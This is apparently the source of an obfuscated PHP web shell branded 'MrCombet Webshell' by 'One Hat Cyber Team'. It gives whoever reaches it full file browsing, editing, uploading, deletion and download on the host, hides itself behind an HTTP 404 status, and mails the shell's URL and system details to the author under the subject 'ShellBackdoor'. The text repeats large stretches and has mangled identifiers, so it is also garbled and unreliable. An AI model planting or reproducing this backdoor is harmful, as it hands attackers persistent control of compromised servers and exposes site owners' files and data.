<table class="table table-borderless table-hover table-sm"style="text-align:center;width:100%"><thead class="text-light"><tr><th style="width:45%">Name</th><th style="width:13%">Size</th><th style="width:13%">Permission</th><th colspan="3">Action</th></tr></thead><tbody class="text-light">goto y2dvE; b56t0: echo "6"("7"($Jd . "/" . jD($_GET["n"]))); goto tP7ac; IfTaW: Cy: goto XdBPZ; YvdRl: header("Content-Type: text/html; charset=UTF-8"); goto AOMD1; j_DaD: $lE = 0; goto lX859; e3gwn: mR: goto VUhmk; HH1y5: if (!isset($_GET["a"])) { goto cc; } goto PuQVA; AOMD1: $to = "combetohct@yahoocom"; goto lL9gD; pwsFB: echo php_uname(); goto AU7Jl; ndTTn: $Op = "y"("/(\\|\/)/", $Jd); goto pcgGt; x6jOf: if (isset($_GET["p"])) { goto sr; } goto OqAq0; NcaY1: header("Content-Type: application/octet-stream"); goto EUdwE; DebEY: echo Ss($Jd) . "&a=" . sS("newDir"); goto RwwD6; ppnFg:
</form></li></div><div class="text-light table-responsive"style="text-align:left;padding:4px;margin-bottom:3px;margin-top:3px;border:2px solid red;border-radius:5px"><li>Dir : <span>goto ndTTn; jLpgK: http_response_code(404); goto V1ghh; kVzaj:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New File Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"placeholder=""></div><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder=""style="resize:none"></textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto GQeqy; W39Df: XE("file uploaded successfully"); goto MhIT9; YGwXj: if (!($_GET["t"] == "d")) { goto VZ; } goto mTVtH; GClUc: ea: goto gYR5S; VvExo: VN: goto dVyrH; tP7ac:
</textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto rXiNK; NXTOJ: goto mR; goto lawr2; Su3m2: Xe("folder deleted successfully"); goto s_D6u; ZNHLS: header("Content-Length: e"(JD($_GET["n"]))); goto IbRC9; r0L1f: echo jD($_GET["n"]); goto f9qBx; WsaO8: Lu: goto Ttwg1; coGOf: goto th; goto OjUvo; pcgGt: foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == '')) { goto xi; } echo "<a href="?p=2f" class="combet">~</a>/"; goto CS; xi: if (!($Oe == '')) { goto sq; } goto CS; sq: echo "<a class="combet" href="?p="; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"; s0: dg: $lE++; goto de; ie: echo "">{$Oe}</a>/"; CS: } goto bvx4k; s1sD0: "a"(Jd($_GET["p"])); goto VvExo; DDS3y:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New Folder Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"autocomplete="off"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto QBply; bvx4k: Go: goto LqskF; xWZnJ: if (!($im == "delete")) { goto Lu; } goto ED8Jl; yih_D: echo phpversion(); goto wOL1C; B6HGT: $lE = 0; goto FyGL_; h70bS: echo gethostbyname($_SERVER["SERVER_NAME"]); goto rFV9d; LJ_kO: cc: goto f1yQa; f1yQa:
<div class="text-light table-responsive">goto xWZnJ; pRqZE:
</span></li><li>Server IP : <span style="color:#fff">goto h70bS; rXiNK: isset($_POST["s"]) ? "f"($Jd . "/" . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto z7tdP; xkM0u: $G3 = "scandir"; goto hO6rl; O1H86: if ($im == "view") { goto Ag; } goto BAJLR; QBply: isset($_POST["s"]) ? "5"("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ("5"("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto B316e; Z2nZl: $pesan_alert = "[ {$x_path} ]"; goto a_Kyz; dR7nA: if (""($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } goto RKKIs; uZgBe: xB: goto WsaO8; mTVtH: TF($BL); goto bfeKq; a_Kyz: mail($to, "ShellBackdoor", $pesan_alert, "[ " . php_uname() . " ]"); goto FvVzn; dVyrH: function Ss($SP) { $dE = ''; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } goto DofrI; g5_m5: goto WC; goto ZsISN; c2BI0: sr: goto UhDgt; rFV9d:
</span></li><li>Server : <span style="color:#fff">goto pwsFB; YFjKl: Xe("failed to delete the folder", 0); goto bQsTE; Yuz07: Ag: goto eq695; uH999: $c8[$lE] = JD($c8[$lE]); goto IfTaW; s7iCz: error_reporting(0); goto jLpgK; zvpBQ: xe("file deleted successfully"); goto zfgSf; mdMX1: echo Jd($_GET["n"]); goto M4r56; lL9gD: $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto Z2nZl; Tx5FW: goto Mk; goto GU0Uh; rCbZm: a2: goto E2Mqn; PT1kf: if ($im == "rename") { goto Lw; } goto bdIIo; bfeKq: if (!"5"($BL)) { goto e8; } goto YFjKl; DXm3R:
</span></li><li>PHP Version : <span style="color:#fff">goto yih_D; YklOd: FA: goto ppnFg; X9c4z: g9: goto bRcir; W9ggd: echo gethostbyname($_SERVER["REMOTE_ADDR"]); goto pRqZE; h6Top: if (!"5"($BL)) { goto uH; } goto QHAfE; EUdwE: header("Content-Transfer-Encoding: Binary"); goto ZNHLS; hO6rl:  goto B6HGT; hB0K6: ad: goto Oh79h; L9qx1: WC: goto gWZO0; wOL1C:
</span></li><li>Add File : <a href="?p=goto bErSS; ED8Jl: $BL = $Jd . "/" . Jd($_GET["n"]); goto YGwXj; TZ3Ku:
</font></h5><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>goto U08Rt; OqAq0: $Jd = "r"(); goto yB3oY; lawr2: Un: goto qhVgq; ZsISN: Lw: goto QCG_D; GQeqy: isset($_POST["s"]) ? "5"("{$Jd}/{$_POST["n"]}") ? xE("file name has been used", 0, "&a=" . SS("newFile")) : ("f"("{$Jd}/{$_POST["n"]}", $_POST["ctn"]) ? XE('', 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"])) : Xe("file failed to create", 0)) : null; goto g5_m5; DofrI: function Jd($SP) { $dE = ''; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } goto hkJ0l; M4r56:
</font></h5><form method="post"><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10">goto b56t0; ARObO: Ox: goto YDc90; RwwD6:
"class="ohct">Submit</a></li><li><form method="post"enctype="multipart/form-data"style="padding:.1rem;display:inline-block"><input name="f[]"type="file"multiple> <input name="submit"class="ohct"value="Submit"type="submit">goto OXozg; bRcir: $lE++; goto coGOf; mV02G: echo jD($_GET["n"]); goto iKLED; bdIIo: if ($im == "edit") { goto Ox; } goto O1H86; w5Xv_: Fg: goto DDS3y; eq695:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">View File Name : <font color="white">goto LjdP1; xEjpb: $Wx = $_FILES["f"]["name"]; goto j_DaD; fV2Ky: if (!($lE < count($c8))) { goto Je; } goto uH999; k_wpU: e8: goto Su3m2; B316e: goto WC; goto otxVq; MhIT9: tG: goto X9c4z; VUhmk:
</div><script src="//codejquerycom/jquery-351slimminjs"></script><script src="//cdnjsdelivrnet/npm/bootstrap@460/dist/js/bootstrapbundleminjs"></script><script src="//cdnjsdelivrnet/npm/bs-custom-file-input/dist/bs-custom-file-inputminjs"></script><script>eval(function(t,e,n,r,i,o){if(i=function(t){return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?StringfromCharCode(t+29):ttoString(36))},!"".replace(/^/,String)){for(;n--;)o[i(n)]=r[n]||i(n);r=[function(t){return o[t]}],i=function(){return"\\w+"},n=1}for(;n--;)r[n]&&(t=treplace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));return t}('En();$(\'[2-m="4"]\').4();$(".l").k(j(e){eg();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");us3=1}})});',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{}))</script></body></html>goto tOrpK; tOrpK: @ini_set("output_buffering", 0); goto xCnPK; WfxK6:
</textarea></div>goto L9qx1; QCG_D:
<h5 class="border p-1">Rename File :goto r0L1f; FyGL_: T4: goto fV2Ky; iKLED:
"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto MRd5z; JeHOA: if ($im == "newFile") { goto Pb; } goto PT1kf; xCnPK: @ini_set("display_errors", 0); goto hLl23; U4B_p: goto T4; goto uwGgw; PM0Ws: foreach ($G3 as $yf) { if ("""("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo " \xa<tr>\xa<td style="text-align: left;">\xa<i class="fa fa-fw fa-folder-o" style="border: 0;padding: 0;width:.28571429em;"></i><a href="?p=" . sS("{$Jd}/{$yf}") . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on 1"("Y-m-d H:i", "6"("{$Jd}/{$yf}")) . "">{$yf}</a></td>\xa<td style="color: black;"><span></span></td>\xa<td><font color="" . ("0"("{$Jd}/{$yf}") ? "0ff" : (!"6"("{$Jd}/{$yf}") ? "#ff" : null)) . "">" . RN("{$Jd}/{$yf}") . "</font></td>\xa<td style="color: black;width: 95%;"><span></span></td>
<td>\xa<a href="?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a>
</td>
<td>
<a href="?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "" class="delete" data-type="folder" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a>\xa</td>
</tr>"; Qj: } goto hB0K6; hkJ0l: function rn($F1) { $Jd = fileperms($F1); if (($Jd & 49152) == 49152) { goto FZ; } if (($Jd & 40960) == 40960) { goto Eu; } if (($Jd & 32768) == 32768) { goto ES; } if (($Jd & 24576) == 24576) { goto sA; } if (($Jd & 16384) == 16384) { goto lG; } if (($Jd & 8192) == 8192) { goto tV; } if (($Jd & 4096) == 4096) { goto Tx; } $lE = "u"; goto cC; FZ: $lE = "s"; goto cC; Eu: $lE = "l"; goto cC; ES: $lE = "-"; goto cC; sA: $lE = "b"; goto cC; lG: $lE = "d"; goto cC; tV: $lE = "c"; goto cC; Tx: $lE = "p"; cC: $lE .= $Jd & 256 ? "r" : "-"; $lE .= $Jd & 128 ? "w" : "-"; $lE .= $Jd & 64 ? $Jd & 2048 ? "s" : "x" : ($Jd & 2048 ? "S" : "-"); $lE .= $Jd & 32 ? "r" : "-"; $lE .= $Jd & 16 ? "w" : "-"; $lE .= $Jd & 8 ? $Jd & 1024 ? "s" : "x" : ($Jd & 1024 ? "S" : "-"); $lE .= $Jd & 4 ? "r" : "-"; $lE .= $Jd & 2 ? "w" : "-"; $lE .= $Jd & 1 ? $Jd & 512 ? "t" : "x" : ($Jd & 512 ? "T" : "-"); return $lE; } goto mxN_J; vq8Le: $BL = $Jd . "/" . jd($_GET["n"]); goto M0Qcl; aT2xJ:
<!doctypehtml><html lang="en"><head><meta content="//dldropboxusercontentcom/s/gjdpc0so99lr8gt/combetpng"property="og:image"><meta content="MrCombet Webshell 🔥"property="og:title"><meta content="One Hat Cyber Team"property="og:description"><meta content="#ff0000"name="theme-color"><meta content="width=device-width,initial-scale=06,shrink-to-fit=no"name="viewport"><link href="//cdnjsdelivrnet/npm/bootstrap@460/dist/css/bootstrapmincss"rel="stylesheet"><link href="//cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss"rel="stylesheet"><link href="//dldropboxusercontentcom/s/gjdpc0so99lr8gt/combetpng"rel="icon"><title>MrCombet Webshell 🔥</title><style>@import url(//fontsgoogleapiscom/css2?family=Kelly+Slab&display=swap);body{color:#000;font-size:0;font-family:'Kelly Slab';width:99%;padding:0;margin-right:auto;margin-left:auto;margin-top:7px;margin-bottom:7px;background-color:#000!important}.bg-dark{background-color:#000!important}.border{box-shadow:0 0 10px red;border:2px solid #ff0!important;border-radius:5px;background:0 0}.border:hover{box-shadow:0 0 10px #ff0;border:2px solid red!important}.table td{padding:.1rem;box-shadow:inset 0 0 0 1px red;border-radius:2px}.table thead th{box-shadow:inset 0 0 0 15px red;color:#ff0;padding:.25rem;border-radius:5px;background:linear-gradient(to bottom,#000,#3f3f3f80)}.table-hover tbody tr:hover td{background:#ffff001a;box-shadow:inset 0 0 0 1px #ff0;border-radius:2px}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}.form-group{margin-top:15px;margin-bottom:15px}li{font-size:17px!important;color:#ff0!important;list-style:inherit!important}a{color:#fff!important;text-decoration:none!important}a:hover{text-decoration:none!important;color:#ff0!important}h5{margin-top:15px;margin-bottom:15px;font-size:18px!important;color:#ff0!important;padding:2px}textarea{width:97%;font-size:16px;font-family:inherit;height:44vh;padding-left:5px}button,input{border:2px solid #ff0;border-radius:5px;font-size:15px;color:#fff;line-height:normal;font-family:inherit;box-shadow:0 0 5px red}button,input:hover{border:2px solid red;cursor:pointer;box-shadow:0 0 5px #ff0}.ohct{padding-left:1rem;padding-right:1rem;color:#fff;border:2px solid #ff0;border-radius:5px;background-color:transparent;font-family:inherit;font-size:16px;box-shadow:0 0 5px red}.ohct:hover{border:2px solid red;color:#ff0!important;box-shadow:0 0 5px #ff0}.combet{color:#fff}.combet:hover{color:#ff0}.p-1{padding:4px}</style><style>.fa{padding:10px;font-size:20px;width:50px;text-align:center;text-decoration:none;margin:5px;color:#ff0}.fa:hover{border:2px solid red}.text-light{color:#f8f9fa!important;font-size:17px!important}</style><script src="//unpkgcom/sweetalert/dist/sweetalertminjs"></script></head><body><div class="text-light table-responsive"style="text-align:left;padding:4px;border:2px solid red;border-radius:5px"><div style="text-align:center;display:flex;align-items:center;justify-content:center;align-content:center"><a href="mailto:combetohct@yahoocom"class="border fa fa-envelope"></a> <a href="https://bitly/3FaKtZd"class="border fa fa-facebook"></a> <a href="?"style="font-size:2rem;text-shadow:0 0 10px red"><span>MrCombet WebShell</span></a> <a href="https://bitly/3ELU2fs"class="border fa fa-whatsapp"></a> <a href="https://bitly/3Ue74Z0"class="border fa fa-telegram"></a></div><li>Your IP : <span style="color:#fff">goto W9ggd; IbRC9: header("Content-disposition: attachment; filename="" . jd($_GET["n"]) . """); goto YklOd; GaTZI: VZ: goto FPE9y; FvVzn: 


 goto s7iCz; GU0Uh: uH: goto zvpBQ; f9qBx:
</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"value="goto mV02G; XdBPZ: "u"++; goto U4B_p; mxN_J: function Xe($OB, $Ch = 1, $BL = '') { global $Jd; $xe = $Ch == 1 ? "success" : "error"; echo "<script>swal({title: "{$xe}", text: "{$OB}", icon: "{$xe}"}).then((btnClick) => {if(btnClick){documentlocationhref="?p=" . Ss($Jd) . $BL . ""}})</script>"; } goto cGH8v; zfgSf: Mk: goto uZgBe; RKKIs: Xe("file failed to upload", 0); goto d9w0d; BAJLR: goto WC; goto w5Xv_; bQsTE: goto iL; goto k_wpU; V1ghh: define("Yp", ''); goto xkM0u; s_D6u: iL: goto GaTZI; QHAfE: Xe("file to delete the folder", 0); goto Tx5FW; JDctu: echo $_SERVER["SERVER_SOFTWARE"]; goto DXm3R; FPE9y: if (!($_GET["t"] == "f")) { goto xB; } goto vq8Le; E2Mqn:
</tbody></table><h5 style="color:#ff0"><font>© Copyright 2022</font> <font style="color:red">MrCombet</font> <font>Powered by </font><font style="color:red">One Hat Cyber Team</font></h5>goto e3gwn; hLl23: set_time_limit(0); goto BjM47; cGH8v: function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ) === '')) { goto IE; } return; IE: if ("""($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("deldir", glob($yfDIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } goto aT2xJ; AOnCl:
"class="ohct">Submit</a></li><li>Add Directory : <a href="?p=goto DebEY; y2dvE: "scandir" = "("("scandir"($Jd), array(, "..")); goto PM0Ws; MRd5z: isset($_POST["s"]) ? "6"($Jd . "/" . jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name", 0) : null; goto iMW2_; uwGgw: Je: goto x6jOf; gYR5S: if (!isset($_GET["download"])) { goto FA; } goto NcaY1; LqskF:
</span></li></div><div class="text-light table-responsive"style="text-align:center;font-family:inherit;font-size:17px">goto vCEQw; OjUvo: dx: goto GClUc; bErSS: echo ss($Jd) . "&a=" . Ss("newFile"); goto AOnCl; vCEQw: if (!isset($_GET["a"])) { goto Un; } goto HH1y5; otxVq: Pb: goto kVzaj; BjM47: ini_set("memory_limit", "64M"); goto YvdRl; LjdP1: echo jd($_GET["n"]); goto TZ3Ku; Oh79h: foreach ("scandir" as $F1) { if ("7"("{$Jd}/{$F1}")) { goto wA; } goto X1; wA: $kL = "8"("{$Jd}/{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "  MB" : $kL . "  KB"; echo "\xa<tr>\xa<td style="text-align: left;">
<i class="fa fa-fw fa-file-o" style="border: 0;padding:;width:r85719em;"></i><a href="?p=" . SS($Jd) . "&a=" . sS("view") . "&n=" . SS($F1) . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on 1"("Y-m-d H:i", "6"("{$Jd}/{$F1}")) . "">{$F1}</a></td>\xa<td><span>{$kL}</span></td>\xa<td><font color="" . ("0"("{$Jd}/{$F1}") ? "0ff" : (!"6"("{$Jd}/{$F1}") ? "#ff0000" : null)) . "">" . rN("{$Jd}/{$F1}") . "</font></td>
<td><a href="?p=" . Ss($Jd) . "&a=" . Ss("edit") . "&n=" . SS($F1) . "" data-toggle="tooltip" data-placement="auto" title="Edit">Edit</a></td>\xa<td><a href="?p=" . ss($Jd) . "&a=" . SS("rename") . "&n=" . ss($F1) . "&t=f" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a></td>\xa<td><a href="?p=" . ss($Jd) . "&a=" . sS("delete") . "&n=" . ss($F1) . "" class="delete" data-type="file" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a></td>
</tr>"; X1: } goto rCbZm; PuQVA: $im = Jd($_GET["a"]); goto LJ_kO; gix1O: if (!("u" < count($Wx))) { goto dx; } goto dR7nA; OXozg: if (!isset($_FILES["f"])) { goto ea; } goto xEjpb; U08Rt: echo "6"("7"($Jd . "/" . jd($_GET["n"]))); goto WfxK6; d9w0d: goto tG; goto DIRBb; UhDgt: $Jd = jD($_GET["p"]); goto s1sD0; AU7Jl:
</span></li><li>Server Software : <span style="color:#fff">goto JDctu; DIRBb: PG: goto W39Df; gWZO0:
</div>goto NXTOJ; Ttwg1: if ($im == "newDir") { goto Fg; } goto JeHOA; M0Qcl: unlink($BL); goto h6Top; z7tdP: goto WC; goto Yuz07; yB3oY: goto VN; goto c2BI0; lX859: th: goto gix1O; iMW2_: goto WC; goto ARObO; YDc90:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">Edit File Name : <font color="white">goto mdMX1; qhVgq:
<table class="table table-borderless table-hover table-sm"style="text-align:center;width:100%"><thead class="text-light"><tr><th style="width:45%">Name</th><th style="width:13%">Size</th><th style="width:13%">Permission</th><th colspan="3">Action</th></tr></thead><tbody class="text-light">goto y2dvE; b56t0: echo "6"("7"($Jd . "/" . jD($_GET["n"]))); goto tP7ac; IfTaW: Cy: goto XdBPZ; YvdRl: header("Content-Type: text/html; charset=UTF-8"); goto AOMD1; j_DaD: "u" = 0; goto lX859; e3gwn: mR: goto VUhmk; HH1y5: if (!isset($_GET["a"])) { goto cc; } goto PuQVA; AOMD1: $to = "combetohct@yahoocom"; goto lL9gD; pwsFB: echo php_uname(); goto AU7Jl; ndTTn: $Op = "y"("/(\\|\/)/", $Jd); goto pcgGt; x6jOf: if (isset($_GET["p"])) { goto sr; } goto OqAq0; NcaY1: header("Content-Type: application/octet-stream"); goto EUdwE; DebEY: echo Ss($Jd) . "&a=" . sS("newDir"); goto RwwD6; ppnFg:
</form></li></div><div class="text-light table-responsive"style="text-align:left;padding:4px;margin-bottom:3px;margin-top:3px;border:2px solid red;border-radius:5px"><li>Dir : <span>goto ndTTn; jLpgK: http_response_code(404); goto V1ghh; kVzaj:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New File Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"placeholder=""></div><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder=""style="resize:none"></textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto GQeqy; W39Df: XE("file uploaded successfully"); goto MhIT9; YGwXj: if (!($_GET["t"] == "d")) { goto VZ; } goto mTVtH; GClUc: ea: goto gYR5S; VvExo: VN: goto dVyrH; tP7ac:
</textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto rXiNK; NXTOJ: goto mR; goto lawr2; Su3m2: Xe("folder deleted successfully"); goto s_D6u; ZNHLS: header("Content-Length: e"(JD($_GET["n"]))); goto IbRC9; r0L1f: echo jD($_GET["n"]); goto f9qBx; WsaO8: Lu: goto Ttwg1; coGOf: goto th; goto OjUvo; pcgGt: foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == '')) { goto xi; } echo "<a href="?p=2f" class="combet">~</a>/"; goto CS; xi: if (!($Oe == '')) { goto sq; } goto CS; sq: echo "<a class="combet" href="?p="; "u" = 0; de: if (!("u" <= $j3)) { goto ie; } echo sS($Op["u"]); if (!("u" != $j3)) { goto s0; } echo "2f"; s0: dg: "u"++; goto de; ie: echo "">{$Oe}</a>/"; CS: } goto bvx4k; s1sD0: "a"(Jd($_GET["p"])); goto VvExo; DDS3y:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New Folder Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"autocomplete="off"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto QBply; bvx4k: Go: goto LqskF; xWZnJ: if (!($im == "delete")) { goto Lu; } goto ED8Jl; yih_D: echo phpversion(); goto wOL1C; B6HGT: "u" = 0; goto FyGL_; h70bS: echo gethostbyname($_SERVER["SERVER_NAME"]); goto rFV9d; LJ_kO: cc: goto f1yQa; f1yQa:
<div class="text-light table-responsive">goto xWZnJ; pRqZE:
</span></li><li>Server IP : <span style="color:#fff">goto h70bS; rXiNK: isset($_POST["s"]) ? "f"($Jd . "/" . jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully", 1, "&a=" . sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto z7tdP; xkM0u:  goto hO6rl; O1H86: if ($im == "view") { goto Ag; } goto BAJLR; QBply: isset($_POST["s"]) ? "5"("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used", 0, "&a=" . SS("newDir")) : ("5"("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create", 0)) : null; goto B316e; Z2nZl: $pesan_alert = "[ {$x_path} ]"; goto a_Kyz; dR7nA: if (""($_FILES["f"]["tmp_name"]["u"], $Wx["u"])) { goto PG; } goto RKKIs; uZgBe: xB: goto WsaO8; mTVtH: TF($BL); goto bfeKq; a_Kyz: mail($to, "ShellBackdoor", $pesan_alert, "[ " . php_uname() . " ]"); goto FvVzn; dVyrH: function Ss($SP) { $dE = ''; "u" = 0; NZ: if (!("u" < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP["u"])); WK: "u"++; goto NZ; Xc: return $dE; } goto DofrI; g5_m5: goto WC; goto ZsISN; c2BI0: sr: goto UhDgt; rFV9d:
</span></li><li>Server : <span style="color:#fff">goto pwsFB; YFjKl: Xe("failed to delete the folder", 0); goto bQsTE; Yuz07: Ag: goto eq695; uH999: $c8["u"] = JD($c8["u"]); goto IfTaW; s7iCz: error_reporting(0); goto jLpgK; zvpBQ: xe("file deleted successfully"); goto zfgSf; mdMX1: echo Jd($_GET["n"]); goto M4r56; lL9gD: $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto Z2nZl; Tx5FW: goto Mk; goto GU0Uh; rCbZm: a2: goto E2Mqn; PT1kf: if ($im == "rename") { goto Lw; } goto bdIIo; bfeKq: if (!"5"($BL)) { goto e8; } goto YFjKl; DXm3R:
</span></li><li>PHP Version : <span style="color:#fff">goto yih_D; YklOd: FA: goto ppnFg; X9c4z: g9: goto bRcir; W9ggd: echo gethostbyname($_SERVER["REMOTE_ADDR"]); goto pRqZE; h6Top: if (!"5"($BL)) { goto uH; } goto QHAfE; EUdwE: header("Content-Transfer-Encoding: Binary"); goto ZNHLS; hO6rl:  goto B6HGT; hB0K6: ad: goto Oh79h; L9qx1: WC: goto gWZO0; wOL1C:
</span></li><li>Add File : <a href="?p=goto bErSS; ED8Jl: $BL = $Jd . "/" . Jd($_GET["n"]); goto YGwXj; TZ3Ku:
</font></h5><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>goto U08Rt; OqAq0: $Jd = "r"(); goto yB3oY; lawr2: Un: goto qhVgq; ZsISN: Lw: goto QCG_D; GQeqy: isset($_POST["s"]) ? "5"("{$Jd}/{$_POST["n"]}") ? xE("file name has been used", 0, "&a=" . SS("newFile")) : ("f"("{$Jd}/{$_POST["n"]}", $_POST["ctn"]) ? XE('', 1, "&a=" . ss("view") . "&n=" . Ss($_POST["n"])) : Xe("file failed to create", 0)) : null; goto g5_m5; DofrI: function Jd($SP) { $dE = ''; $gf = strlen($SP) - 1; "u" = 0; Xp: if (!("u" < $gf)) { goto ur; } $dE .= chr(hexdec($SP["u"] . $SP["u" + 1])); Wn: "u" += 2; goto Xp; ur: return $dE; } goto hkJ0l; M4r56:
</font></h5><form method="post"><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10">goto b56t0; ARObO: Ox: goto YDc90; RwwD6:
"class="ohct">Submit</a></li><li><form method="post"enctype="multipart/form-data"style="padding:.1rem;display:inline-block"><input name="f[]"type="file"multiple> <input name="submit"class="ohct"value="Submit"type="submit">goto OXozg; bRcir: "u"++; goto coGOf; mV02G: echo jD($_GET["n"]); goto iKLED; bdIIo: if ($im == "edit") { goto Ox; } goto O1H86; w5Xv_: Fg: goto DDS3y; eq695:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">View File Name : <font color="white">goto LjdP1; xEjpb: $Wx = $_FILES["f"]["name"]; goto j_DaD; fV2Ky: if (!("u" < count($c8))) { goto Je; } goto uH999; k_wpU: e8: goto Su3m2; B316e: goto WC; goto otxVq; MhIT9: tG: goto X9c4z; VUhmk:
</div><script src="//codejquerycom/jquery-351slimminjs"></script><script src="//cdnjsdelivrnet/npm/bootstrap@460/dist/js/bootstrapbundleminjs"></script><script src="//cdnjsdelivrnet/npm/bs-custom-file-input/dist/bs-custom-file-inputminjs"></script><script>eval(function(t,e,n,r,i,o){if(i=function(t){return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?StringfromCharCode(t+29):ttoString(36))},!"".replace(/^/,String)){for(;n--;)o[i(n)]=r[n]||i(n);r=[function(t){return o[t]}],i=function(){return"\\w+"},n=1}for(;n--;)r[n]&&(t=treplace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));return t}('En();$(\'[2-m="4"]\').4();$(".l").k(j(e){eg();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");us3=1}})});',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{}))</script></body></html>goto tOrpK; tOrpK: @ini_set("output_buffering", 0); goto xCnPK; WfxK6:
</textarea></div>goto L9qx1; QCG_D:
<h5 class="border p-1">Rename File :goto r0L1f; FyGL_: T4: goto fV2Ky; iKLED:
